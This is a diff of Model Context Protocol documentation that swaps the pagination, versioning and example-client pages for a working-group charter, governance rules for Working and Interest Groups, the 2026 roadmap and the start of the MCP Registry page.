- "nextCursor": "eyJwYWdlIjogM30=" - } -} -``` +| Decision Type | Authority Level | +| ----------------------------------- | ------------------------------------------------------ | +| Meeting logistics & scheduling | WG Leads (autonomous) | +| Proposal prioritization within WG | WG Leads (autonomous) | +| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) | +| Technical design within scope | WG consensus | +| Spec changes (additive) | WG consensus → Core Maintainer approval | +| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review | +| Scope expansion | Core Maintainer approval required | +| WG Member approval | WG Member sponsors | -## Request Format +## Operations -After receiving a cursor, the client can *continue* paginating by issuing a request -including that cursor: +| Meeting | Frequency | Duration | Purpose | +| --------------- | --------- | -------- | ------------------------------------- | +| Working Session | Weekly | 30 min | Technical discussion, proposal review | -```json theme={null} -{ - "jsonrpc": "2.0", - "id": "124", - "method": "resources/list", - "params": { - "cursor": "eyJwYWdlIjogMn0=" - } -} -``` +## Deliverables & Success Metrics -## Pagination Flow +### Active Work Items -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server +| Item | Status | Target Date | Champion | +| --------------------------------------- | -------- | ----------- | -------- | +| SEP: Events in MCP v1 RFC | Ideating | End April | TBD | +| Reference implementation in Tier-1 SDKs | — | End April | TBD | - Client->>Server: List Request (no cursor) - loop Pagination Loop - Server-->>Client: Page of results + nextCursor - Client->>Server: List Request (with cursor) - end -``` +### Success Criteria -## Operations Supporting Pagination +* An accepted SEP defining the trigger/callback mechanism and its subscription lifecycle. +* Reference implementations in at least two Tier-1 SDKs. +* Conformance test coverage for the new primitives. -The following MCP operations support pagination: +## Changelog -* `resources/list` - List available resources -* `resources/templates/list` - List resource templates -* `prompts/list` - List available prompts -* `tools/list` - List available tools +| Date | Change | +| ---------- | --------------- | +| 2026-03-24 | Initial charter | -## Implementation Guidelines -1. Servers **SHOULD**: - * Provide stable cursors - * Handle invalid cursors gracefully +# Working and Interest Groups +Source: https://modelcontextprotocol.io/community/working-interest-groups -2. Clients **SHOULD**: - * Treat a missing `nextCursor` as the end of results - * Support both paginated and non-paginated flows +Governance rules for the two forms of collaborative groups within the Model Context Protocol community — Working Groups and Interest Groups. -3. Clients **MUST** treat cursors as opaque tokens: - * Don't make assumptions about cursor format - * Don't attempt to parse or modify cursors - * Don't persist cursors across sessions +Within the MCP contributor community we maintain two types of collaboration formats: **Interest Groups (IGs)** and **Working Groups (WGs)**. -## Error Handling +## Quick Reference -Invalid cursors **SHOULD** result in an error with code -32602 (Invalid params). +| | Interest Group (IG) | Working Group (WG) | +| -------------- | -------------------------------------------------- | ------------------------------------------------------ | +| **Purpose** | Identify and discuss problems | Build concrete solutions | +| **Output** | Problem statements, use cases, recommendations | SEPs, implementations, code | +| **Commitment** | Active contribution expected | Active contribution expected | +| **Duration** | Ongoing as long as topic is relevant | Until deliverables complete | +| **Leadership** | Facilitator(s) | Lead(s) | +| **Decisions** | Rough consensus, non-binding | Binding (lazy consensus → vote → escalation) | +| **Example** | "Security in MCP" — discussing security challenges | "Server Identity" — implementing identity verification | +## When to Use Which -# Versioning -Source: https://modelcontextprotocol.io/specification/versioning +**Join an Interest Group when you:** +* Have a problem but aren't sure of the solution +* Want to explore whether an idea has community support +* Are new to MCP and want to learn about a topic area +* Want to share use cases and requirements +**Join a Working Group when you:** -The Model Context Protocol uses string-based version identifiers following the format -`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made. +* Have a specific solution to implement +* Are ready to write code or a SEP +* Can commit regular time to active development +* Want to help build a particular feature + +**Typical flow**: Discuss a problem in an IG → Validate that it's worth solving → Form or join a WG to build the solution → Submit a SEP → Implement + +## Interest Groups (IGs) + +**Goal:** Facilitate discussion and knowledge-sharing among MCP contributors who share interests in a specific topic. The focus is on identifying problems worth solving and gathering requirements — not building solutions. + +**What IGs do:** + +* Host discussions in Discord channels +* Run regular meetings to share use cases +* Document problem statements and requirements +* Build consensus on what should be prioritized +* Provide input to Working Groups and SEPs + +**Examples:** + +* Security in MCP +* Auth in MCP +* Using MCP in enterprise settings +* Tooling and practices for hosting MCP clients + +## Working Groups (WGs) + +**Goal:** Collaborate on a SEP, a series of related SEPs, or an officially endorsed project. WGs produce concrete deliverables. + +**What WGs do:** - - The protocol version will *not* be incremented when the - protocol is updated, as long as the changes maintain backwards compatibility. This allows - for incremental improvements while preserving interoperability. - +* Write and iterate on SEPs +* Build reference implementations +* Maintain ongoing projects (Inspector, Registry, SDKs) +* Drive features from proposal to specification -## Revisions +**Examples:** -Revisions may be marked as: +* Registry +* Inspector +* Tool Filtering +* Server Identity -* **Draft**: in-progress specifications, not yet ready for consumption. -* **Current**: the current protocol version, which is ready for use and may continue to - receive backwards compatible changes. -* **Final**: past, complete specifications that will not be changed. +## Governance -The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/). +The following rules apply to all MCP Working Groups and Interest Groups. Individual group charters cannot override these requirements. Where rules differ between WGs and IGs, this is noted explicitly. -## Negotiation +### Leadership -Version negotiation happens during -[initialization](/specification/latest/basic/lifecycle#initialization). Clients and -servers **MAY** support multiple protocol versions simultaneously, but they **MUST** -agree on a single version to use for the session. +Each group has one or more **Leads** (referred to as **Facilitators** for Interest Groups). -The protocol provides appropriate error handling if version negotiation fails, allowing -clients to gracefully terminate connections when they cannot find a version compatible -with the server. +**Requirements for all Leads and Facilitators:** +* Hold at least Member status on the MCP Contributor Ladder — see [Governance](/community/governance) for role definitions +* Demonstrated sustained engagement with the group's scope area +* Ability to facilitate across organizational boundaries +* Commitment to running the group's operations +* Group and its leadership sponsored by at least two Core Maintainers or one Lead Maintainer -# Example Clients -Source: https://modelcontextprotocol.io/clients +**Additional requirements for WG Leads:** -A list of applications that support MCP integrations +* Commitment to 2-3 hours/week for WG activities -This page provides an overview of applications that support the Model Context Protocol (MCP). Each client may support different MCP features, allowing for varying levels of integration with MCP servers. +**All Leads are responsible for:** - - This list is maintained by the community. If you notice any inaccuracies or would like to add or update information about MCP support in your application, please [submit a pull request](https://github.com/modelcontextprotocol/modelcontextprotocol/pulls). - +* Schedule and facilitate regular meetings +* Set agendas in collaboration with participants and publish them in advance +* Ensure meeting notes are published within 48 hours +* Maintain the group's documentation +* Maintain a members list and respective access list in the [access repository](https://github.com/modelcontextprotocol/access) +* Proactively recruit and retain broad, representative membership across organizations and perspectives -## Client details +**WG Leads are additionally responsible for:** - +* Drive proposals through the [SEP process](/community/sep-guidelines) to resolution +* Triage SEPs in the WG's scope area, including closing SEPs that do not fit the roadmap (with documented rationale; authors may appeal to Core Maintainers) +* Escalate blocked decisions to Core Maintainers with clear context +* Maintain the working group's roadmap +* Solicit feedback from one or more Core Maintainers on the general direction of the group on a continuous basis +* Provide quarterly status updates to the Community and Core Maintainer Group - - 5ire is an open source cross-platform desktop AI assistant that supports tools through MCP servers. +### Participation Levels - **Key features:** +All groups use the following participation tiers. Note that **WG Member** is a group-specific participation level distinct from the org-wide **Member** role — an individual may be a WG Member in a specific group without holding org-wide Member status, and vice versa. - * Built-in MCP servers can be quickly enabled and disabled. - * Users can add more servers by modifying the configuration file. - * It is open-source and user-friendly, suitable for beginners. - * Future support for MCP will be continuously improved. - +| Level | Description | Privileges | +| -------------------- | ------------------------------------------------- | ------------------------------------------------------------------ | +| **Observer** | Anyone interested in following the group's work | Read access, may attend meetings, limited discussion participation | +| **Participant** | Active contributor to group discussions | Can propose agenda items, participate in async votes | +| **WG Member** | Sustained contributor with demonstrated expertise | Counted for quorum (WGs only) | +| **Lead/Facilitator** | Operational leadership of the group | Sets agenda, facilitates, escalates | - - AgentAI is a Rust library designed to simplify the creation of AI agents. The library includes seamless integration with MCP Servers. +Interest Groups primarily operate with Observers, Participants, and Facilitators. IGs may adopt the WG Member tier if their work warrants formal decision-making, but are not required to. - **Key features:** +**Becoming a WG Member** (WGs, and IGs that adopt the WG Member tier): - * Multi-LLM – We support most LLM APIs (OpenAI, Anthropic, Gemini, Ollama, and all OpenAI API Compatible). - * Built-in support for MCP Servers. - * Create agentic flows in a type- and memory-safe language like Rust. +* Sustained participation over 3 months +* Meaningful contributions (code, spec text, reviews, or documentation) +* Nomination by existing WG Member or Lead +* No objections from Leads, Core Maintainers, or Lead Maintainers within 7 days - **Learn more:** +**WG Member Responsibilities:** - * [Example of MCP Server integration](https://github.com/AdamStrojek/rust-agentai/blob/master/examples/tools_mcp.rs) - +* Continue contributing in good faith +* Maintain name, organization, and Discord name in the respective group's member list - - AgenticFlow is a no-code AI platform that helps you build agents that handle sales, marketing, and creative tasks around the clock. Connect 2,500+ APIs and 10,000+ tools securely via MCP. +**Active vs. Emeritus:** WG Members who do not participate for 3 consecutive months are moved to emeritus status and may return by demonstrating renewed participation. - **Key features:** +### Decision-Making Process - * No-code AI agent creation and workflow building. - * Access a vast library of 10,000+ tools and 2,500+ APIs through MCP. - * Simple 3-step process to connect MCP servers. - * Securely manage connections and revoke access anytime. +This section applies primarily to Working Groups, which make binding decisions (consensus on technical designs, spec changes, etc.). Interest Groups typically operate by rough consensus in discussions and do not make binding decisions — their output is recommendations, problem statements, and use cases. IGs that adopt the WG Member tier may use this process for internal decisions. - **Learn more:** +**WG Consensus** is achieved through the following progression. Each step is attempted before moving to the next. - * [AgenticFlow MCP Integration](https://agenticflow.ai/mcp) - + + + * Proposals announced with clear deadline (5 days minimum for minor items, 10 days for significant items) + * Silence is consent + * Any WG Member may block with documented objection + * Blocks must propose alternatives or clear criteria for resolution + * If no blocks are raised by the deadline, the proposal is accepted + - - AIQL TUUI is a native, cross-platform desktop AI chat application with MCP support. It supports multiple AI providers (e.g., Anthropic, Cloudflare, Deepseek, OpenAI, Qwen), local AI models (via vLLM, Ray, etc.), and aggregated API platforms (such as Deepinfra, Openrouter, and more). + + A formal vote is triggered when a WG Member blocks during the lazy consensus period, or when a Lead or three or more WG Members request one. - **Key features:** + * Quorum: 50% of active WG Members + * Passage: simple majority for routine matters; 2/3 majority for scope changes + * Core Maintainer feedback is advisory unless explicitly stated as binding + * All votes documented with rationale + - * **Dynamic LLM API & Agent Switching**: Seamlessly toggle between different LLM APIs and agents on the fly. - * **Comprehensive Capabilities Support**: Built-in support for tools, prompts, resources, and sampling methods. - * **Configurable Agents**: Enhanced flexibility with selectable and customizable tools via agent settings. - * **Advanced Sampling Control**: Modify sampling parameters and leverage multi-round sampling for optimal results. - * **Cross-Platform Compatibility**: Fully compatible with macOS, Windows, and Linux. - * **Free & Open-Source (FOSS)**: Permissive licensing allows modifications and custom app bundling. + + If a vote fails to resolve the matter (no quorum, does not pass, or the result is contested), the Lead escalates to Core Maintainers following the escalation path below. + + - **Learn more:** +### Escalation Path - * [TUUI document](https://www.tuui.com/) - * [AIQL GitHub repository](https://github.com/AI-QL) - +For technical and design disagreements within a group's scope, groups should resolve disagreements locally before involving Core Maintainers. For WGs, this means using the decision-making progression above. For IGs, the Facilitator should attempt to find rough consensus before escalating. - - Amazon Q CLI is an open-source, agentic coding assistant for terminals. +Some disagreements are not appropriate for group-level resolution and should be escalated directly to Core Maintainers: - **Key features:** +* Scope disputes (whether a topic falls within the group's charter) +* Authority disputes (whether the group has the right to decide a matter) +* Cross-group conflicts (disagreements spanning multiple WGs or IGs) +* Code of conduct or behavioral concerns +* Membership or participation disputes - * Full support for MCP servers. - * Edit prompts using your preferred text editor. - * Access saved prompts instantly with `@`. - * Control and organize AWS resources directly from your terminal. - * Tools, profiles, context management, auto-compact, and so much more! +When escalation is necessary: - **Get Started** +1. Lead documents the decision, options considered, and points of disagreement +2. Lead presents the escalation to the Core Maintainer group with a clear ask +3. The Core Maintainer group designates a CM — who should not share organizational affiliation with the parties involved — to resolve the issue and report back to the group +4. The designated CM either: (a) provides binding guidance, (b) requests more information, or (c) recommends the full Core Maintainer group deliberate +5. Timeline: escalations should receive initial response within 5 business days - ```bash theme={null} - brew install amazon-q - ``` - +### Meeting Requirements - - Amazon Q IDE is an open-source, agentic coding assistant for IDEs. +Leads determine meeting frequency, format, and duration based on the group's current needs and lifecycle stage. There is no fixed cadence requirement — a WG near a specification release may meet weekly, while an IG in early exploration may meet monthly or work primarily asynchronously. - **Key features:** +Regardless of format or frequency, all group meetings must: - * Support for the VSCode, JetBrains, Visual Studio, and Eclipse IDEs. - * Control and organize AWS resources directly from your IDE. - * Manage permissions for each MCP tool via the IDE user interface. - +* Be open to all community participants (no closed or organization-internal meetings) +* Be published on [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io) at least 7 days in advance +* Have agendas published and publicly available. The agenda or a link to the agenda should be published as a [GitHub Discussion in the Meeting Notes category](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/) +* Have notes published within 48 hours to the same discussion - - Amp is an agentic coding tool built by Sourcegraph. It runs in VS Code (and compatible forks like Cursor, Windsurf, and VSCodium), JetBrains IDEs, Neovim, and as a command-line tool. It's also multiplayer — you can share threads and collaborate with your team. +Leads should actively involve WG Members and Participants in operational duties such as preparing agendas, taking meeting notes, and facilitating discussions. - **Key features:** +### Communication Channels - * Granular control over enabled tools and permissions - * Support for MCP servers defined in VS Code `mcp.json` - +All groups use the following channels: - - Apify MCP Tester is an open-source client that connects to any MCP server using Server-Sent Events (SSE). - It is a standalone Apify Actor designed for testing MCP servers over SSE, with support for Authorization headers. - It uses plain JavaScript (old-school style) and is hosted on Apify, allowing you to run it without any setup. +| Channel | Purpose | Response Expectation | +| ------------------------------------ | ------------------------------ | -------------------- | +| Discord `#{name}-wg` or `#{name}-ig` | Quick questions, coordination | Best effort | +| GitHub Discussions | Long-form technical discussion | Weekly triage | - **Key features:** +In addition to Discord, groups can establish a discussion category in [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/). Leads will be granted the appropriate roles to manage and moderate discussions. - * Connects to any MCP server via SSE. - * Works with the [Apify MCP Server](https://mcp.apify.com) to interact with one or more Apify [Actors](https://apify.com/store). - * Dynamically utilizes tools based on context and user queries (if supported by the server). - +### Reporting - - Augment Code is an AI-powered coding platform for VS Code and JetBrains with autonomous agents, chat, and completions. Both local and remote agents are backed by full codebase awareness and native support for MCP, enabling enhanced context through external sources and tools. +**Working Groups** provide quarterly updates (end of January, April, July, October) including: - **Key features:** +* Progress against deliverables +* Blocked items and escalations +* Membership changes +* Upcoming priorities +* Resource needs - * Full MCP support in local and remote agents. - * Add additional context through MCP servers. - * Automate your development workflows with MCP tools. - * Works in VS Code and JetBrains IDEs. - +The quarterly updates are provided as a document posted in the [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/) category of the Working Group. They are optionally discussed with the Core Maintainers in a core maintainer meeting. - - Avatar-Shell is an electron-based MCP client application that prioritizes avatar conversations and media output such as images. +**Interest Groups** do not have formal reporting requirements but should keep their charter and member list current. - **Key features:** +### Lifecycle - * MCP tools and resources can be used - * Supports avatar-to-avatar communication via socket.io. - * Supports the mixed use of multiple LLM APIs. - * The daemon mechanism allows for flexible scheduling. - +**Working Group Formation:** - - BeeAI Framework is an open-source framework for building, deploying, and serving powerful agentic workflows at scale. The framework includes the **MCP Tool**, a native feature that simplifies the integration of MCP servers into agentic workflows. +* There must be a widely acknowledged concern requiring coordination +* PR for creation of WG into `docs/community//overview.mdx`, gated by CODEOWNERS requiring approval by Maintainers +* PR for charter into `docs/community//charter.mdx`, gated by CODEOWNERS requiring approval from Core Maintainers +* Initial member list approved by WG Lead - **Key features:** +**Interest Group Formation:** - * Seamlessly incorporate MCP tools into agentic workflows. - * Quickly instantiate framework-native tools from connected MCP client(s). - * Planned future support for agentic MCP capabilities. +* Fill out the creation template in the `#wg-ig-group-creation` channel on [Discord](https://discord.gg/6CSzBmMkjX) +* A Core Maintainer reviews the proposal; the IG and its Facilitator(s) must be sponsored by at least two Core Maintainers or one Lead Maintainer +* Once sponsored, the Facilitator(s) organize the IG and create a charter - **Learn more:** +**Retirement:** - * [Example of using MCP tools in agentic workflow](https://i-am-bee.github.io/beeai-framework/#/typescript/tools?id=using-the-mcptool-class) - +* **WGs**: WG Lead or Core Maintainer proposes retirement with rationale; Core Maintainer or Lead Maintainer approval required. WGs are also retired when they have no active work for a sustained period or have completed all planned deliverables. +* **IGs**: Core Maintainers or Lead Maintainers may retire an IG that is no longer active or needed. +* In both cases, documentation is archived and channels are marked inactive. - - BoltAI is a native, all-in-one AI chat client with MCP support. BoltAI supports multiple AI providers (OpenAI, Anthropic, Google AI...), including local AI models (via Ollama, LM Studio or LMX) +### Charter Amendments - **Key features:** +Changes to a group's charter (WG or IG) require: - * MCP Tool integrations: once configured, user can enable individual MCP server in each chat - * MCP quick setup: import configuration from Claude Desktop app or Cursor editor - * Invoke MCP tools inside any app with AI Command feature - * Integrate with remote MCP servers in the mobile app +* Proposal by Lead/Facilitator or Core Maintainer +* Approval by Core Maintainers - **Learn more:** +## Charters - * [BoltAI docs](https://boltai.com/docs/plugins/mcp-servers) - * [BoltAI website](https://boltai.com) - +Every MCP Working Group and Interest Group must maintain a charter document that captures its specific mission, scope, leadership, membership, and operations. The governance rules above apply automatically and do not need to be repeated in the charter. - - Call Chirp uses AI to capture every critical detail from your business conversations, automatically syncing insights to your CRM and project tools so you never miss another deal-closing moment. +See the [Group Charter Template](/community/charter-template) for the required structure and a copyable template. - **Key features:** +## FAQ - * Save transcriptions from Zoom, Google Meet, and more - * MCP Tools for voice AI agents - * Remote MCP servers support - +### How do I get involved contributing to MCP? - - Chatbox is a better UI and desktop app for ChatGPT, Claude, and other LLMs, available on Windows, Mac, Linux, and the web. It's open-source and has garnered 37K stars on GitHub. +These groups provide an on-ramp: - **Key features:** +1. [Join Discord](https://discord.gg/6CSzBmMkjX) and follow IGs relevant to you. Attend [live calls](https://meet.modelcontextprotocol.io/). Participate in discussions. +2. Offer to help with operational duties — facilitating calls, preparing agendas, taking notes. Share your use cases in SEP discussions. +3. When ready for hands-on work, contribute to WG deliverables. +4. Sustained contribution is a recognized pathway to WG Member status and contributor ladder advancement. - * Tools support for MCP servers - * Support both local and remote MCP servers - * Built-in MCP servers marketplace - +### Where can I find a list of all current WGs and IGs? - - ChatFrame is a cross-platform desktop chatbot that unifies access to multiple AI language models, supports custom tool integration via MCP servers, and enables RAG conversations with your local files—all in a single, polished app for macOS and Windows. +On the [MCP Contributor Discord](https://discord.gg/6CSzBmMkjX), there is a section of channels for each Working and Interest Group. Chartered groups also have documentation under `docs/community/` in the [modelcontextprotocol repository](https://github.com/modelcontextprotocol/modelcontextprotocol). - **Key features:** +### Do I need to join an IG before starting a WG? - * Unified access to top LLM providers (OpenAI, Anthropic, DeepSeek, xAI, and more) in one interface - * Built-in retrieval-augmented generation (RAG) for instant, private search across your PDFs, text, and code files - * Plug-in system for custom tools via Model Context Protocol (MCP) servers - * Multimodal chat: supports images, text, and live interactive artifacts - +No. IG participation can help validate ideas and build support, but it's not required. You can propose a WG directly if you have a clear deliverable in mind and can secure Core Maintainer sponsorship. - - ChatGPT is OpenAI's AI assistant that provides MCP support for remote servers to conduct deep research. +### Do I need to be in a WG to submit a SEP? - **Key features:** +No. Anyone can submit a SEP. However, WG collaboration can strengthen your proposal and help it find a sponsor. - * Support for MCP via connections UI in settings - * Access to search tools from configured MCP servers for deep research - * Enterprise-grade security and compliance features - +### What if my IG discussion leads to a concrete solution? - - ChatWise is a desktop-optimized, high-performance chat application that lets you bring your own API keys. It supports a wide range of LLMs and integrates with MCP to enable tool workflows. +You can either: - **Key features:** +* Form a new WG to build the solution +* Join an existing WG if one covers the area +* Submit a SEP directly if the solution is well-defined - * Tools support for MCP servers - * Offer built-in tools like web search, artifacts and image generation. - +### Can one person be in multiple IGs/WGs? - - Chorus is a native Mac app for chatting with AIs. Chat with multiple models at once, run tools and MCPs, create projects, quick chat, bring your own key, all in a blazing fast, keyboard shortcut friendly app. +Yes. Participate in as many groups as your time allows. - **Key features:** - * MCP support with one-click install - * Built in tools, like web search, terminal, and image generation - * Chat with multiple models at once (cloud or local) - * Create projects with scoped memory - * Quick chat with an AI that can see your screen - +# Roadmap +Source: https://modelcontextprotocol.io/development/roadmap - - Claude Code is an interactive agentic coding tool from Anthropic that helps you code faster through natural language commands. It supports MCP integration for resources, prompts, tools, and roots, and also functions as an MCP server to integrate with other clients. +Our plans for evolving Model Context Protocol - **Key features:** +Last updated: **2026-03-05** - * Full support for resources, prompts, tools, and roots from MCP servers - * Offers its own tools through an MCP server for integrating with other MCP clients - +This page describes our strategic priorities and what we expect **Working Groups** and **Interest Groups** to deliver against them. - - Claude Desktop provides comprehensive support for MCP, enabling deep integration with local tools and data sources. + + The ideas presented here are not commitments. We may solve these challenges differently than described. Some items may not materialize at all. This is also not an *exhaustive* list. We may incorporate work that isn't mentioned here. + - **Key features:** +## SEP Prioritization - * Full support for resources, allowing attachment of local files and data - * Support for prompt templates - * Tool integration for executing commands and scripts - * Local server connections for enhanced privacy and security - +**SEPs that fall within the priority areas below will receive expedited review and have the highest chance of acceptance.** SEPs outside these areas are not automatically rejected, but contributors should expect longer review timelines and a higher bar for justification. Maintainer capacity is finite. We direct it toward these priorities first. - - Claude.ai is Anthropic's web-based AI assistant that provides MCP support for remote servers. +If you are considering a SEP, check whether it aligns with one of the areas below, discuss it in the relevant [Working Group or Interest Group](/community/working-interest-groups), and bring that group's backing with you. SEPs with WG support and a clear connection to the roadmap move fastest. See the [SEP guidelines](/community/sep-guidelines) for the full process. - **Key features:** +## Priority Areas - * Support for remote MCP servers via integrations UI in settings - * Access to tools, prompts, and resources from configured MCP servers - * Seamless integration with Claude's conversational interface - * Enterprise-grade security and compliance features - +### 1. Transport Evolution and Scalability - - Cline is an autonomous coding agent in VS Code that edits files, runs commands, uses a browser, and more–with your permission at each step. +Streamable HTTP gave MCP a production-ready transport, but running it at scale has revealed gaps around horizontal scaling, stateless operation, and middleware patterns. - **Key features:** +**What we want to achieve:** - * Create and add tools through natural language (e.g. "add a tool that searches the web") - * Share custom MCP servers Cline creates with others via the `~/Documents/Cline/MCP` directory - * Displays configured MCP servers along with their tools, resources, and any error logs - +* **Next-generation transport**: evolve Streamable HTTP to run statelessly across multiple server instances and behave correctly behind load balancers and proxies. +* **Scalable session handling**: define how sessions are created, resumed, and migrated so that server restarts and scale-out events are transparent to connected clients. +* **MCP Server Cards**: a standard for exposing structured server metadata via a `.well-known` URL, so browsers, crawlers, and registries can discover a server's capabilities without connecting to it. - - CodeGPT is a popular VS Code and Jetbrains extension that brings AI-powered coding assistance to your editor. It supports integration with MCP servers for tools, allowing users to leverage external AI capabilities directly within their development workflow. +**Working Group ownership:** - **Key features:** +* **Transports WG** owns the transport and session work: a series of SEPs covering the wire format, session model, and resumption protocol, plus conformance guidance for SDK authors. +* **Server Card WG** owns the Server Card format and its distribution, coordinating with the broader industry AI-catalog effort. - * Use MCP tools from any configured MCP server - * Seamless integration with VS Code and Jetbrains UI - * Supports multiple LLM providers and custom endpoints +We will **not** be introducing additional official transports this cycle. Keeping the set small protects ecosystem compatibility; the community should experiment via custom transports. - **Learn more:** +### 2. Agent Communication - * [CodeGPT Documentation](https://docs.codegpt.co/) - +The Tasks primitive ([SEP-1686](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686)) gave agents a reliable call-now / fetch-later pattern. Running it in production has surfaced gaps in the lifecycle semantics that the **Agents WG** should close: - - Codex is a lightweight AI-powered coding agent from OpenAI that runs in your terminal. +* **Retry semantics**: what happens when a task fails transiently, and who decides whether to retry. +* **Expiry policies**: how long results are retained after completion, and how clients learn a result has expired. - **Key features:** +These are the gaps we can point to today. The Agents WG should also collect and triage operational issues from production deployments—this list will grow as more of the ecosystem runs Tasks at scale. - * Support for MCP tools (listing and invocation) - * Support for MCP resources (list, read, and templates) - * Elicitation support (routes requests to TUI for user input) - * Supports STDIO and HTTP streaming transports with OAuth - * Also available as VS Code extension - +### 3. Governance Maturation - - Continue is an open-source AI code assistant, with built-in support for all MCP features. +MCP has grown into a multi-company open standard under the Linux Foundation. [SEP-1302](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1302) formalized Working Groups and Interest Groups, and [SEP-2085](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2085) established succession and amendment procedures. The next step is giving the community a clear path to leadership so the project does not depend on a small set of individuals. - **Key features:** +The **Governance WG** should deliver: - * Type "@" to mention MCP resources - * Prompt templates surface as slash commands - * Use both built-in and MCP tools directly in chat - * Supports VS Code and JetBrains IDEs, with any LLM - +* **A Contributor Ladder SEP** defining the progression from community participant → WG contributor → WG facilitator → lead maintainer → core maintainer, with explicit nomination and review criteria at each step. +* **A delegation model** allowing WGs with a proven track record to accept SEPs and publish extension updates within their domain without a full core-maintainer review cycle. +* **A charter template** that every WG and IG maintains publicly: scope, active deliverables, success criteria, and retirement conditions, reviewed quarterly. + +### 4. Enterprise Readiness - - Copilot-MCP enables AI coding assistance via MCP. +Enterprises are deploying MCP at scale and hitting gaps the protocol does not yet address. - **Key features:** +Areas where we need clear problem statements and directional proposals: - * Support for MCP tools and resources - * Integration with development workflows - * Extensible AI capabilities - +* **Audit trails and observability**: end-to-end visibility into what a client requested and what a server did, in a form enterprises can feed into their existing logging and compliance pipelines. +* **Enterprise-managed auth**: paved paths away from static client secrets and toward SSO-integrated flows ([Cross-App Access](https://xaa.dev)), so IT can manage MCP access the same way they manage everything else. +* **Gateway and proxy patterns**: well-defined behavior when a client does not connect directly to a server but routes through an intermediary. This may include authorization propagation, session semantics, and what the gateway is allowed to see. +* **Configuration portability**: a way to configure a server once and have that configuration work across different MCP clients. - - Cursor is an AI code editor. +We expect an **Enterprise WG** to form to own this. Much of the output will likely land as extensions rather than core specification changes. - **Key features:** +## On the Horizon - * Support for MCP tools in Cursor Composer - * Support for roots - * Support for prompts - * Support for elicitation - * Support for both STDIO and SSE - +These areas have community interest and interest from core maintainers but are not top priorities. We will support a community-formed Working Group in any of them and review SEPs on these topics if time permits. - - Daydreams is a generative agent framework for executing anything onchain +* **Triggers and Event-Driven Updates** — clients currently learn about server-side state changes by polling or holding an SSE connection open. A standardized callback mechanism (webhooks or similar) would let servers proactively notify clients when new data is available, with defined ordering guarantees across all transports. +* **Result Type Improvements** — tool calls, resource reads, and task results all arrive complete and inline. Streamed results would let clients receive output incrementally for interactive scenarios (generated text, audio, video frames); reference-based results would let clients decide when to pull large payloads into context rather than polluting it by default. This is cross-cutting: streaming touches transport, references touch the schema. +* **Security & Authorization** — finer-grained least-privilege scopes, clearer guidance on avoiding OAuth mix-up attacks, secure credential management on both client and server, and a community-driven vulnerability disclosure program routed through the Linux Foundation. Sponsored work is already underway: [SEP-1932 (DPoP)](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1932) and [SEP-1933 (Workload Identity Federation)](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1933). +* **Extensions Ecosystem** — the `ext-auth` and `ext-apps` tracks are early proof that the extension mechanism works. Maturing them, investigating a Skills primitive for composed capabilities, and adding first-class extension support to the registry would all strengthen the path from experiment to standard. - **Key features:** +## Validation - * Supports MCP Servers in config - * Exposes MCP Client - +A protocol specification is only as good as the implementations that follow it. Alongside the areas above, we continue to invest in: - - ECA is a Free and open-source editor-agnostic tool that aims to easily link LLMs and Editors, giving the best UX possible for AI pair programming using a well-defined protocol +* **Conformance Test Suites**: automated verification that clients, servers, and SDKs correctly implement the specification, with coverage expanding alongside each new feature area. +* **SDK Tiers**: the tiering system introduced in [SEP-1730](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1730) gives developers a clear signal of which SDKs track the specification most closely. +* **Reference Implementations**: canonical implementations of new features to anchor community development and unblock early adopters. - **Key features:** +## Get Involved - * **Editor-agnostic**: protocol for any editor to integrate. - * **Single configuration**: Configure eca making it work the same in any editor via global or local configs. - * **Chat** interface: ask questions, review code, work together to code. - * **Agentic**: let LLM work as an agent with its native tools and MCPs you can configure. - * **Context**: support: giving more details about your code to the LLM, including MCP resources and prompts. - * **Multi models**: Login to OpenAI, Anthropic, Copilot, Ollama local models and many more. - * **OpenTelemetry**: Export metrics of tools, prompts, server usage. - +MCP's roadmap is built by its community: - - Emacs Mcp is an Emacs client designed to interface with MCP servers, enabling seamless connections and interactions. It provides MCP tool invocation support for AI plugins like [gptel](https://github.com/karthink/gptel) and [llm](https://github.com/ahyatt/llm), adhering to Emacs' standard tool invocation format. This integration enhances the functionality of AI tools within the Emacs ecosystem. +* **Join a Working Group or Interest Group**: see the [Working Groups & Interest Groups](/community/working-interest-groups) page and the [community communication channels](/community/communication) to connect with the groups active in each area above. +* **Propose or comment on SEPs**: review the [SEP guidelines](/community/sep-guidelines) and open or weigh in on proposals. +* **Start an experimental extension**: [SEP-2133](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2133) lets any WG or IG experiment in an `experimental-ext-` repository before a formal SEP is required. +* **Contribute to the project**: read the [contributing guide](/community/contributing) for how to get involved with the specification, SDKs, and tooling. - **Key features:** - * Provides MCP tool support for Emacs. - +# The MCP Registry +Source: https://modelcontextprotocol.io/registry/about - - fast-agent is a Python Agent framework, with simple declarative support for creating Agents and Workflows, with full multi-modal support for Anthropic and OpenAI models. - **Key features:** - * PDF and Image support, based on MCP Native types - * Interactive front-end to develop and diagnose Agent applications, including passthrough and playback simulators - * Built in support for "Building Effective Agents" workflows. - * Deploy Agents as MCP Servers - + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + - - Firebender is an IntelliJ plugin that offers a world-class coding agent with MCP integration for tool calling. +The MCP Registry is the official centralized metadata repository for publicly accessible MCP servers, backed by major trusted contributors to the MCP ecosystem such as Anthropic, GitHub, PulseMCP, and Microsoft. - **Key features:** +The MCP Registry provides: - * Tool integration for executing commands and scripts via STDIO, SSE indirectly supported via mcp-remote npm package. - * Local server connections for enhanced privacy and security - * MCPs 